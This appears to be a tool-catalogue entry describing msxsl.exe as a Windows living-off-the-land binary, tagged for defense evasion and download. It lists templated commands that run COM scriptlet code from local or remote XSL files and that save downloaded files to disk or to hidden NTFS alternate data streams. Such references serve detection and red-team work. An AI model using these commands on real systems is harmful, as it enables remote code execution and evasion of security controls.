Command line utility used to perform XSL transformations. Located at: no default.
msxsl msxsl Sandbox: execFile · Timeout: 30s
security.execution.command security.defense-evasion.bypass network.transfer.download system.file.alternate-data-stream Outputs
process.output Command execution output
filesystem_writenetwork_trafficprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)
msxsl.exe {PATH:.xml} {PATH:.xsl} Run COM Scriptlet code within the script.xsl file (local). (Local execution of script stored in XSL file.)
msxsl.exe {PATH:.xml} {PATH:.xsl} Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} Run COM Scriptlet code within the shellcode.xml(xsl) file (remote). (Local execution of remote script stored in XSL script stored as an XML file.)
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml} Using remote XML and XSL files, save the transformed XML file to disk. (Download a file from the internet and save it to disk.)
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH} Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS). (Download a file from the internet and save it to an NTFS Alternate Data Stream.)
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name msxsl is a Windows LOLBin. Command line utility used to perform XSL transformations. Located at: no default.